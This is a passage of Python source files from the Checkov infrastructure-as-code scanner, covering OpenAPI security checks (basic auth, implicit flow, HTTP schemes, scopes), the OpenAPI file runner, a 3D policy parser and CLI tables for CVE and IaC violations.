operation_dict.get('security', []) for security_definition in security: for auth_key in security_definition: if self.is_start_end_line(auth_key): continue if not isinstance(security_definitions, dict): return CheckResult.UNKNOWN, conf auth_definition = security_definitions.get(auth_key, {}) auth_type = auth_definition.get('type', '') if auth_type == 'basic': return CheckResult.FAILED, auth_definition return CheckResult.PASSED, conf check = OperationObjectBasicAuth() ================================================ FILE: checkov/openapi/checks/resource/v2/OperationObjectConsumesUndefined.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class OperationObjectConsumesUndefined(BaseOpenapiCheckV2): def __init__(self) -> None: id = "CKV_OPENAPI_17" name = "Ensure that operation objects have 'consumes' field defined for PUT, POST and PATCH operations - version 2.0 files" categories = [CheckCategories.API_SECURITY] supported_resources = ["paths"] super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT, ) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: paths = conf.get('paths') or {} for path, path_dict in paths.items(): if self.is_start_end_line(path): continue if not isinstance(path_dict, dict): return CheckResult.UNKNOWN, conf for operation, operation_dict in path_dict.items(): if self.is_start_end_line(operation): continue if operation.lower() in ['post', 'put', 'patch']: if not isinstance(operation_dict, dict): return CheckResult.UNKNOWN, conf if not operation_dict.get('consumes'): return CheckResult.FAILED, operation_dict return CheckResult.PASSED, conf check = OperationObjectConsumesUndefined() ================================================ FILE: checkov/openapi/checks/resource/v2/OperationObjectImplicitFlow.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class OperationObjectImplicitFlow(BaseOpenapiCheckV2): def __init__(self) -> None: id = "CKV_OPENAPI_14" name = "Ensure that operation objects do not use 'implicit' flow, which is deprecated - version 2.0 files" categories = [CheckCategories.API_SECURITY] supported_resources = ["paths"] super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT, ) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: paths = conf.get('paths') or {} security_definitions = conf.get('securityDefinitions') or {} for path, path_dict in paths.items(): if self.is_start_end_line(path): continue if not isinstance(path_dict, dict): return CheckResult.UNKNOWN, conf for operation, operation_dict in path_dict.items(): if self.is_start_end_line(operation): continue if not isinstance(operation_dict, dict): return CheckResult.UNKNOWN, conf security = operation_dict.get('security', []) for security_definition in security: if not isinstance(security_definition, dict): return CheckResult.UNKNOWN, conf for auth_key in security_definition: if self.is_start_end_line(auth_key): continue if not isinstance(security_definitions, dict): return CheckResult.UNKNOWN, conf auth_definition = security_definitions.get(auth_key, {}) auth_flow = auth_definition.get('flow', '') if auth_flow == 'implicit': return CheckResult.FAILED, auth_definition return CheckResult.PASSED, conf check = OperationObjectImplicitFlow() ================================================ FILE: checkov/openapi/checks/resource/v2/OperationObjectProducesUndefined.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class OperationObjectProducesUndefined(BaseOpenapiCheckV2): def __init__(self) -> None: id = "CKV_OPENAPI_16" name = "Ensure that operation objects have 'produces' field defined for GET operations - version 2.0 files" categories = [CheckCategories.API_SECURITY] supported_resources = ["paths"] super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT, ) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: paths = conf.get('paths') or {} if not isinstance(paths, dict): return CheckResult.UNKNOWN, conf for path, path_dict in paths.items(): if self.is_start_end_line(path): continue if not isinstance(path_dict, dict): return CheckResult.UNKNOWN, conf for operation, operation_dict in path_dict.items(): if self.is_start_end_line(operation): continue if operation.lower() == 'get': if not isinstance(operation_dict, dict): return CheckResult.UNKNOWN, conf if not operation_dict.get('produces'): return CheckResult.FAILED, operation_dict return CheckResult.PASSED, conf check = OperationObjectProducesUndefined() ================================================ FILE: checkov/openapi/checks/resource/v2/OperationObjectSecurityScopeUndefined.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class OperationObjectSecurityScopeUndefined(BaseOpenapiCheckV2): def __init__(self) -> None: id = "CKV_OPENAPI_9" name = "Ensure that security scopes of operations are defined in securityDefinitions - version 2.0 files" categories = [CheckCategories.API_SECURITY] supported_resources = ["paths"] super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT, ) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: paths = conf.get("paths") or {} security_definitions = conf.get('securityDefinitions') or {} if not isinstance(paths, dict): return CheckResult.UNKNOWN, conf for path, path_dict in paths.items(): if self.is_start_end_line(path): continue if not isinstance(path_dict, dict): return CheckResult.UNKNOWN, conf for operation, operation_dict in path_dict.items(): if self.is_start_end_line(operation): continue if not isinstance(operation_dict, dict): return CheckResult.UNKNOWN, conf op_security = operation_dict.get('security', [{}]) for security in op_security: if not isinstance(security, dict): return CheckResult.UNKNOWN, conf for auth_key, auth_scopes in security.items(): if self.is_start_end_line(auth_key): continue if not isinstance(security_definitions, dict): return CheckResult.UNKNOWN, conf auth_definition = security_definitions.get(auth_key, {}) if not auth_definition: return CheckResult.FAILED, conf if not isinstance(auth_definition, dict): return CheckResult.UNKNOWN, conf definition_type = auth_definition.get('type', {}) if definition_type != "oauth2": continue definition_scopes = auth_definition.get('scopes', {}) if not definition_scopes: return CheckResult.FAILED, conf if not isinstance(auth_scopes, list): return CheckResult.UNKNOWN, conf for scope in auth_scopes: if scope not in definition_scopes: return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = OperationObjectSecurityScopeUndefined() ================================================ FILE: checkov/openapi/checks/resource/v2/PathSchemeDefineHTTP.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class PathSchemeDefineHTTP(BaseOpenapiCheckV2): def __init__(self) -> None: # https://learning.postman.com/docs/api-governance/api-definition/openapi2/#schemes-of-the-operation-have-http-scheme-defined id = "CKV_OPENAPI_7" name = "Ensure that the path scheme does not support unencrypted HTTP connection where all transmissions " \ "are open to interception- version 2.0 files" categories = [CheckCategories.API_SECURITY] supported_resources = ['security'] super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: paths = conf.get("paths", {}) if not paths or not isinstance(paths, dict): return CheckResult.UNKNOWN, conf for path, http_method in paths.items(): if self.is_start_end_line(path) or not http_method or not isinstance(http_method, dict): continue for op_name, op_val in http_method.items(): if self.is_start_end_line(op_name): continue if not isinstance(op_val, dict): continue schemes = op_val.get('schemes') if schemes and 'http' in schemes: return CheckResult.FAILED, conf # If the schemes is not included, the default scheme to be used is the one used to access the Swagger # definition itself, in which case the current check is not relevant. return CheckResult.PASSED, conf check = PathSchemeDefineHTTP() ================================================ FILE: checkov/openapi/checks/resource/v2/SecurityDefinitionBasicAuth.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class SecurityDefinitionBasicAuth(BaseOpenapiCheckV2): def __init__(self) -> None: id = "CKV_OPENAPI_13" name = "Ensure security definitions do not use basic auth - version 2.0 files" categories = [CheckCategories.API_SECURITY] supported_resources = ["securityDefinitions"] super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT, ) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: security_definitions = conf.get('securityDefinitions') or {} if not isinstance(security_definitions, dict): return CheckResult.UNKNOWN, conf for auth_key, auth_dict in security_definitions.items(): if self.is_start_end_line(auth_key): continue if not isinstance(auth_dict, dict): return CheckResult.UNKNOWN, conf auth_type = auth_dict.get('type', '') if auth_type.lower() == 'basic': return CheckResult.FAILED, auth_dict return CheckResult.PASSED, conf check = SecurityDefinitionBasicAuth() ================================================ FILE: checkov/openapi/checks/resource/v2/SecurityDefinitions.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.common.parsers.node import DictNode from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class SecurityDefinitions(BaseOpenapiCheckV2): def __init__(self) -> None: id = "CKV_OPENAPI_1" name = "Ensure that securityDefinitions is defined and not empty - version 2.0 files" categories = (CheckCategories.API_SECURITY,) supported_resources = ('securityDefinitions',) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: self.evaluated_keys = ["securityDefinitions"] if "securityDefinitions" not in conf: return CheckResult.FAILED, conf security_definitions = conf["securityDefinitions"] if not security_definitions or (not isinstance(security_definitions, DictNode) and len(security_definitions) <= 2): return CheckResult.FAILED, security_definitions return CheckResult.PASSED, security_definitions check = SecurityDefinitions() ================================================ FILE: checkov/openapi/checks/resource/v2/SecurityRequirement.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2 class SecurityRequirement(BaseOpenapiCheckV2): def __init__(self) -> None: id = "CKV_OPENAPI_6" name = "Ensure that security requirement defined in securityDefinitions - version 2.0 files" categories = [CheckCategories.API_SECURITY] supported_resources = ["security"] super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT, ) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: self.evaluated_keys = ["securityDefinitions"] if "securityDefinitions" not in conf: return CheckResult.FAILED, conf security_definitions = conf["securityDefinitions"] if not self.check_security_conf(conf, security_definitions): return CheckResult.FAILED, conf["security"] if "paths" not in conf: return CheckResult.FAILED, conf paths = conf["paths"] if not isinstance(paths, dict): return CheckResult.FAILED, conf for path, http_method in paths.items(): if self.is_start_end_line(path) or not http_method: continue for op_name, op_val in http_method.items(): if self.is_start_end_line(op_name): continue if not isinstance(op_val, dict): return CheckResult.FAILED, conf if not self.check_security_conf(op_val, security_definitions): return CheckResult.FAILED, op_val["security"] return CheckResult.PASSED, conf def check_security_conf(self, conf: dict[str, Any], security_definitions: dict[str, Any]) -> bool: self.evaluated_keys = ["security"] return not ( "security" in conf and conf["security"] and not self.is_requirements_defined(conf["security"], security_definitions) ) def is_requirements_defined(self, security: list[dict[str, Any]], security_definitions: dict[str, Any]) -> bool: for scheme in security: if not isinstance(scheme, dict): return False for scheme_type, _ in scheme.items(): if scheme_type not in security_definitions: return False return True check = SecurityRequirement() ================================================ FILE: checkov/openapi/checks/resource/v2/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/openapi/checks/resource/v3/BaseOpenapiCheckV3.py ================================================ from __future__ import annotations from typing import Iterable, Any from abc import abstractmethod from checkov.openapi.checks.base_openapi_check import BaseOpenapiCheck from checkov.common.models.enums import CheckResult, CheckCategories class BaseOpenapiCheckV3(BaseOpenapiCheck): def __init__(self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], block_type: str) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, ) @abstractmethod def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: raise NotImplementedError() def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: if "openapi" in conf: openapi = conf.get("openapi") if isinstance(openapi, str) and openapi.startswith("3."): return self.scan_openapi_conf(conf, entity_type) return CheckResult.UNKNOWN, conf ================================================ FILE: checkov/openapi/checks/resource/v3/CleartextOverUnencryptedChannel.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.checks.enums import BlockType from checkov.openapi.checks.resource.v3.BaseOpenapiCheckV3 import BaseOpenapiCheckV3 class CleartextCredsOverUnencryptedChannel(BaseOpenapiCheckV3): def __init__(self) -> None: id = "CKV_OPENAPI_3" name = "Ensure that security schemes don't allow cleartext credentials over unencrypted channel - version 3.x.y files" categories = [CheckCategories.API_SECURITY] supported_resources = ["components"] self.irrelevant_keys = ['__startline__', '__endline__'] super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources, block_type=BlockType.DOCUMENT) def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: components = conf.get("components", {}) or {} security_schemes = components.get("securitySchemes", {}) or {} paths = conf.get('paths', {}) or {} if isinstance(security_schemes, list): security_schemes = security_schemes[0] for name, security_scheme in security_schemes.items(): if name in self.irrelevant_keys: continue if isinstance(security_scheme, dict) and (security_scheme.get('type') == 'http' and security_scheme.get('scheme') == 'basic'): return CheckResult.FAILED, security_scheme if not isinstance(paths, dict): return CheckResult.PASSED, security_schemes for key, path in paths.items(): if not path: continue if key in self.irrelevant_keys: continue for operation in path: if not isinstance(operation, dict): continue if operation.get('security'): return CheckResult.FAILED, security_schemes return CheckResult.PASSED, conf check = CleartextCredsOverUnencryptedChannel() ================================================ FILE: checkov/openapi/checks/resource/v3/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/openapi/runner.py ================================================ from __future__ import annotations import logging from collections.abc import Iterable from typing import Any, Callable, TYPE_CHECKING # noqa: F401 # Callable is used in the TypeAlias from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.bridgecrew.check_type import CheckType from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.util.file_utils import read_file_with_any_encoding from checkov.yaml_doc.runner import Runner as YamlRunner from checkov.json_doc.runner import Runner as JsonRunner from pathlib import Path if TYPE_CHECKING: from typing_extensions import TypeAlias _ParseFormatCallable: TypeAlias = "Callable[[str, str | None], tuple[dict[str, Any] | list[dict[str, Any]] | None, list[tuple[int, str]] | None] | None]" logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) class Runner(YamlRunner, JsonRunner): check_type = CheckType.OPENAPI # noqa: CCE003 # a static attribute def __init__(self) -> None: super().__init__() self.file_extensions = [".json", ".yml", ".yaml"] def import_registry(self) -> BaseCheckRegistry: from checkov.openapi.checks.registry import openapi_registry return openapi_registry @staticmethod def _parse_file( f: str, file_content: str | None = None ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: if f.endswith(".json"): return Runner.parse_format(f, JsonRunner._parse_file) elif f.endswith(".yml") or f.endswith(".yaml"): return Runner.parse_format(f, YamlRunner._parse_file) return None @staticmethod def parse_format( f: str, func: _ParseFormatCallable ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: try: content = Runner.load_file(f) valid_openapi_file = Runner.pre_validate_file(content) if not valid_openapi_file: return None parsed_file = func(f, content) if isinstance(parsed_file, tuple) and Runner.is_valid(parsed_file[0]): return parsed_file # type:ignore[return-value] # is_valid checks for being not empty except ValueError: logger.debug(f"Could not parse {f}, skipping file", exc_info=True) return None def get_start_end_lines( self, end: int, result_config: dict[str, Any] | list[dict[str, Any]], start: int ) -> tuple[int, int]: start_end_line: tuple[int, int] if hasattr(result_config, "start_mark"): start_end_line = JsonRunner.get_start_end_lines(self, end, result_config, start) # type:ignore[arg-type] return start_end_line elif "__startline__" in result_config or isinstance(result_config, list): start_end_line = YamlRunner.get_start_end_lines(self, end, result_config, start) return start_end_line raise Exception("Unexpected dictionary format.") def require_external_checks(self) -> bool: return False @staticmethod def is_valid(conf: dict[str, Any] | list[dict[str, Any]] | None) -> bool: """validate openAPI configuration.""" # 'swagger' is a required element on v2.0, and 'openapi' is required on v3. # 'info' object is required in v2.0 and v3: # https://swagger.io/specification/v2/#schema # https://swagger.io/specification/#schema try: return bool( conf and isinstance(conf, dict) and ("swagger" in conf or "openapi" in conf) and isinstance(conf["info"], dict) ) except Exception: return False def get_resource(self, file_path: str, key: str, supported_entities: Iterable[str], start_line: int = -1, end_line: int = -1, graph_resource: bool = False) -> str: return ",".join(supported_entities) @staticmethod def load_file(filename: str | Path) -> str: content = read_file_with_any_encoding(file_path=filename) return content @staticmethod def pre_validate_file(file_content: str) -> bool: openapi_keywords = ["swagger", "openapi"] match = any(keyword in file_content for keyword in openapi_keywords) if match: return True return False ================================================ FILE: checkov/policies_3d/__init__.py ================================================ ================================================ FILE: checkov/policies_3d/checks_infra/__init__.py ================================================ ================================================ FILE: checkov/policies_3d/checks_infra/base_check.py ================================================ from __future__ import annotations from typing import Optional, Dict, Any, TYPE_CHECKING from checkov.common.graph.checks_infra.enums import SolverType from checkov.policies_3d.syntax.syntax import Predicament if TYPE_CHECKING: from checkov.common.bridgecrew.severities import Severity from checkov.policies_3d.runner import CVECheckAttribute class Base3dPolicyCheck: def __init__(self) -> None: self.id = "" self.bc_id = "" self.name = "" self.category = "" self.type: Optional[SolverType] = None self.guideline: Optional[str] = None self.severity: Optional[Severity] = None self.bc_category: Optional[str] = None self.iac: Dict[str, Any] = {} self.cve: Dict[CVECheckAttribute, Any] = {} self.predicaments: list[Predicament] = [] ================================================ FILE: checkov/policies_3d/checks_infra/base_parser.py ================================================ from __future__ import annotations from abc import abstractmethod from typing import Dict, Any from checkov.common.output.record import Record from checkov.policies_3d.checks_infra.base_check import Base3dPolicyCheck import json class Base3dPolicyCheckParser: def __init__(self, raw_check: dict[str, Any] | None = None): if not raw_check: return self.raw_check = raw_check check_code = json.loads(raw_check.get('code', '')) self.schema_version = check_code.get('version') self.check_definition = check_code.get('definition') @abstractmethod def parse_raw_check(self, raw_check: Dict[str, Dict[str, Any]], **kwargs: Any) -> Base3dPolicyCheck: pass def _fill_check_metadata(self, check: Base3dPolicyCheck) -> None: check.id = self.raw_check.get("id", "") check.name = self.raw_check.get("name", "") check.category = self.raw_check.get("category", "") check.guideline = self.raw_check.get("guideline", "") def parse(self, iac_records: list[Record] | None = None, secrets_records: list[Record] | None = None, cves_reports: list[dict[str, Any]] | None = None) -> Base3dPolicyCheck | None: if self.schema_version == 'v1': return self._parse_check_v1(iac_records or [], secrets_records or [], cves_reports or []) return None @abstractmethod def _parse_check_v1(self, iac_records: list[Record], secrets_records: list[Record], cves_reports: list[dict[str, Any]]) -> Base3dPolicyCheck: pass ================================================ FILE: checkov/policies_3d/checks_parser.py ================================================ from __future__ import annotations import logging from enum import Enum from typing import Dict, Any from checkov.common.util.type_forcers import force_list from checkov.common.output.record import Record from checkov.policies_3d.checks_infra.base_parser import Base3dPolicyCheckParser from checkov.policies_3d.checks_infra.base_check import Base3dPolicyCheck from checkov.policies_3d.syntax.cves_syntax import RiskFactorCVEContains from checkov.policies_3d.syntax.iac_syntax import ViolationIdEquals from checkov.policies_3d.syntax.syntax import Predicament, Predicate import itertools SUPPORTED_LOGICAL_OPERATORS = ['and', 'or'] SCA_CHECK_ID_PREFIXES = ['CKV_CVE_', 'BC_LIC_1', 'BC_LIC_2'] SECRETS_CHECK_ID_PREFIXES = ['BC_GIT_'] class PredicateAttributes(str, Enum): RISK_FACTOR = 'risk_factor' VIOLATION_ID = 'violation_id' class Policy3dParser(Base3dPolicyCheckParser): def __init__(self, raw_check: dict[str, Any] | None = None, resource: str | None = None, records: list[Record] | None = None): super().__init__(raw_check) self.resource = resource self.records = records def parse_raw_check(self, raw_check: Dict[str, Dict[str, Any]], **kwargs: Any) -> Base3dPolicyCheck: """ Deprecated. used for the first version of 3D policies """ policy_definition = raw_check.get("definition", {}) check = Base3dPolicyCheck() check.iac = policy_definition.get('iac', {}) check.cve = policy_definition.get('cve', {}) check.id = raw_check.get("metadata", {}).get("id", "") check.name = raw_check.get("metadata", {}).get("name", "") check.category = raw_check.get("metadata", {}).get("category", "") check.guideline = raw_check.get("metadata", {}).get("guideline") return check def _parse_check_v1(self, iac_records: list[Record], secrets_records: list[Record], cves_reports: list[dict[str, Any]]) -> Base3dPolicyCheck: check = Base3dPolicyCheck() self._fill_check_metadata(check) check.predicaments = [] cves_definition: dict[str, Any] = {} iac_definition: dict[str, Any] = {} secrets_definition: dict[str, Any] = {} for definition in self.check_definition: if "cves" in definition.keys(): cves_definition = definition["cves"] elif "iac" in definition.keys(): iac_definition = definition["iac"] elif "secrets" in definition.keys(): secrets_definition = definition["secrets"] cve_predicaments: list[Predicament] = list(filter(None, [self._create_module_predicament(cves_definition, cve_report) for cve_report in cves_reports])) iac_predicaments: list[Predicament] = list(filter(None, [self._create_module_predicament(iac_definition, iac_record) for iac_record in iac_records])) secrets_predicaments: list[Predicament] = list(filter(None, [self._create_module_predicament(secrets_definition, secrets_record) for secrets_record in secrets_records])) # Generating all predicaments combinations while filtering empty lists all_combinations = list(itertools.product(*filter(bool, [cve_predicaments, iac_predicaments, secrets_predicaments]))) for combination in all_combinations: check.predicaments.append( Predicament( logical_op='and', predicaments=[predicament for predicament in combination] ) ) return check @staticmethod def _create_predicate(key: str, value: Any, record: Record | dict[str, Any]) -> Predicate | None: if isinstance(record, dict): # Specific to cve records passed as dicts if key == PredicateAttributes.RISK_FACTOR: return RiskFactorCVEContains(force_list(value), record) elif isinstance(record, Record): if key == PredicateAttributes.VIOLATION_ID: return ViolationIdEquals(record, value) logging.debug(f"Unable to create predicate for unsupported key {key}") return None def _create_module_predicament(self, policy_definition: dict[str, Any], record: Record | dict[str, Any]) -> Predicament | None: if not policy_definition: return None top_level_logical_op = '' if not any(op in policy_definition.keys() for op in SUPPORTED_LOGICAL_OPERATORS): top_level_logical_op = 'and' top_level_predicament = Predicament(logical_op=top_level_logical_op) for key, value in policy_definition.items(): if key in SUPPORTED_LOGICAL_OPERATORS: top_level_logical_op = key top_level_predicament.logical_op = key else: predicate = self._create_predicate(key, value, record) if predicate: top_level_predicament.predicates.append(predicate) nested_definition = policy_definition.get(top_level_logical_op) if not nested_definition: return top_level_predicament nested_logical_op = None for definition in nested_definition: for key, value in definition.items(): if key in SUPPORTED_LOGICAL_OPERATORS: nested_logical_op = key else: predicate = self._create_predicate(key, value, record) if predicate: top_level_predicament.predicates.append(predicate) nested_predicament = None if nested_logical_op: nested_definition = nested_definition[0][nested_logical_op] if not isinstance(nested_definition, list): return None nested_predicament = Predicament(logical_op=nested_logical_op) for definition in nested_definition: for key, value in definition.items(): predicate = self._create_predicate(key, value, record) if predicate: nested_predicament.predicates.append(predicate) if nested_predicament: top_level_predicament.predicaments.append(nested_predicament) return top_level_predicament ================================================ FILE: checkov/policies_3d/output.py ================================================ from __future__ import annotations import itertools import logging import sys from collections import defaultdict from typing import List, Dict, Any from colorama import Style from prettytable import PrettyTable, SINGLE_BORDER from termcolor import colored from checkov.common.bridgecrew.severities import BcSeverities from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record, DEFAULT_SEVERITY from checkov.common.output.common import compare_table_items_severity from checkov.policies_3d.record import Policy3dRecord TABLE_WIDTH = 138 def merge_line_with_previous_table(line: str, table: PrettyTable) -> str: # hack to make multiple package tables look like one line = line.replace(table.top_junction_char, table.junction_char) line = line.replace(table.top_left_junction_char, table.left_junction_char) line = line.replace(table.top_right_junction_char, table.right_junction_char) return line def create_iac_code_blocks_output(record: Policy3dRecord) -> str: suppress_comment = "" check_message = colored('Check: {}: "{}"\n'.format(record.get_output_id(use_bc_ids=True), record.check_name), "white") guideline_message = Record.get_guideline_string(record.guideline) severity_message = f'\tSeverity: {record.severity.name}\n' if record.severity else '' resource_blocks = '' resource_block_ids = set() for iac_record in record.iac_records: resource_id = f'{iac_record.file_path}:{iac_record.resource}' if resource_id in resource_block_ids: # no need to print the same resource block twice continue resource_details = colored(f'\n\tResource: {iac_record.file_path}:{iac_record.resource}', attrs=['bold']) code_lines = Record.get_code_lines_string(iac_record.code_block) detail = Record.get_details_string(iac_record.details) caller_file_details = Record.get_caller_file_details_string(iac_record.caller_file_path, iac_record.caller_file_line_range) evaluation_message = Record.get_evaluation_string(iac_record.evaluations, iac_record.code_block) resource_blocks += f'{detail}{caller_file_details}{resource_details}{code_lines}{evaluation_message}' resource_block_ids.add(resource_id) if record.check_result["result"] == CheckResult.FAILED and resource_blocks: return f"{check_message}{severity_message}{guideline_message}{resource_blocks}" if record.check_result["result"] == CheckResult.SKIPPED: return f"{check_message}{severity_message}{suppress_comment}{guideline_message}" else: return f"{check_message}{severity_message}{guideline_message}" def create_cli_output(*records: list[Policy3dRecord]) -> str: cli_outputs = [] for record in itertools.chain(*records): iac_code_blocks_output = create_iac_code_blocks_output(record) if iac_code_blocks_output: cli_outputs.append(iac_code_blocks_output + Style.RESET_ALL) iac_violations_table = render_iac_violations_table(record) if iac_violations_table: cli_outputs.append(iac_violations_table + Style.RESET_ALL) cves_table = render_cve_output(record) if cves_table: cli_outputs.append(cves_table + Style.RESET_ALL) secrets_table = '' # noqa: F841 # TODO create a function for creating secrets table, when secrets get into 3d policies # Table should have the columns: Secret, Secrety Type, Violation ID, Validation Status (value in red) return "\n".join(cli_outputs) def render_cve_output(record: Policy3dRecord) -> str | None: if not record.vulnerabilities: # this shouldn't happen logging.error(f"'vulnerabilities' is not set for {record.check_id}") return None package_cves_details_map: dict[str, dict[str, Any]] = defaultdict(dict) for cve in record.vulnerabilities: image_name = cve.get('dockerImageName') package_name = cve.get('packageName', '') package_version = cve.get('packageVersion') severity_str = cve.get('severity', BcSeverities.NONE).upper() package_cves_details_map[package_name].setdefault("cves", []).append( { "id": cve.get('cveId'), "severity": severity_str } ) if package_name in package_cves_details_map: package_cves_details_map[package_name]["cves"].sort(key=compare_table_items_severity, reverse=True) package_cves_details_map[package_name]["current_version"] = package_version package_cves_details_map[package_name]["image_name"] = image_name if package_cves_details_map: return ( create_cli_cves_table( file_path=record.file_path, package_details_map=package_cves_details_map, ) ) return None def create_cli_cves_table(file_path: str, package_details_map: Dict[str, Dict[str, Any]]) -> str: columns = 5 column_width = int(TABLE_WIDTH / columns) package_table_lines = create_package_overview_table_part( table_width=TABLE_WIDTH, column_width=column_width, package_details_map=package_details_map ) return ( Style.BRIGHT + f"\tImage Referenced with Matching CVEs:\n" f"{''.join(package_table_lines)}\n" + Style.RESET_ALL ) def create_package_overview_table_part( table_width: int, column_width: int, package_details_map: Dict[str, Dict[str, Any]] ) -> List[str]: package_table_lines: List[str] = [] package_table = PrettyTable( min_table_width=table_width, max_table_width=table_width ) package_table.set_style(SINGLE_BORDER) package_table.field_names = [ "Image", "Package", "Current version", "CVE ID", "Severity" ] for package_idx, (package_name, details) in enumerate(package_details_map.items()): if package_idx > 0: del package_table_lines[-1] package_table.header = False package_table.clear_rows() for cve_idx, cve in enumerate(details["cves"]): col_image = "" col_package = "" col_current_version = "" if cve_idx == 0: col_image = details["image_name"] col_package = package_name col_current_version = details["current_version"] package_table.add_row( [ col_image, col_package, col_current_version, cve["id"], cve["severity"] ] ) package_table.align = "l" package_table.min_width = column_width package_table.max_width = column_width for line in package_table.get_string().splitlines(keepends=True): if package_idx > 0: # hack to make multiple package tables look like one line = merge_line_with_previous_table(line, package_table) package_table_lines.append(f"\t{line}") return package_table_lines def render_iac_violations_table(record: Policy3dRecord) -> str | None: if not record.iac_records: # this shouldn't happen logging.error(f"'iac_records' is not set for {record.check_id}") return None resource_violation_details_map: dict[str, dict[str, Any]] = defaultdict(dict) for iac_record in record.iac_records: resource = iac_record.resource severity = (iac_record.severity.name if iac_record.severity else DEFAULT_SEVERITY).upper() resource_violation_details_map[resource].setdefault('violations', []).append( { 'id': iac_record.bc_check_id, 'title': iac_record.check_name, 'severity': severity } ) if resource in resource_violation_details_map: resource_violation_details_map[resource]['violations'].sort(key=compare_table_items_severity, reverse=True) if len(resource_violation_details_map.keys()): return ( create_iac_violations_table( file_path=record.file_path, resource_violation_details_map=resource_violation_details_map, ) ) return None def create_iac_violations_table(file_path: str, resource_violation_details_map: Dict[str, Dict[str, Any]]) -> str: columns = 5 # it really has only 4 columns, but the title would get a width of two columns table_width = TABLE_WIDTH column_width = int(table_width / columns) # on python 3.12 and above, the columns are a bit bigger, need to make them smaller to have consistency. if sys.version_info >= (3, 12): table_width = 136 iac_table_lines = create_iac_violations_overview_table_part( table_width=table_width, column_width=column_width, resource_violation_details_map=resource_violation_details_map ) return ( Style.BRIGHT + f"\tMatching IaC violations:\n" f"{''.join(iac_table_lines)}\n" + Style.RESET_ALL ) def create_iac_violations_overview_table_part( table_width: int, column_width: int, resource_violation_details_map: Dict[str, Dict[str, Any]] ) -> List[str]: iac_table_lines: List[str] = [] # on python 3.12 and above, the columns are smaller, need to make them wider in order to have consistency. if sys.version_info >= (3, 12): 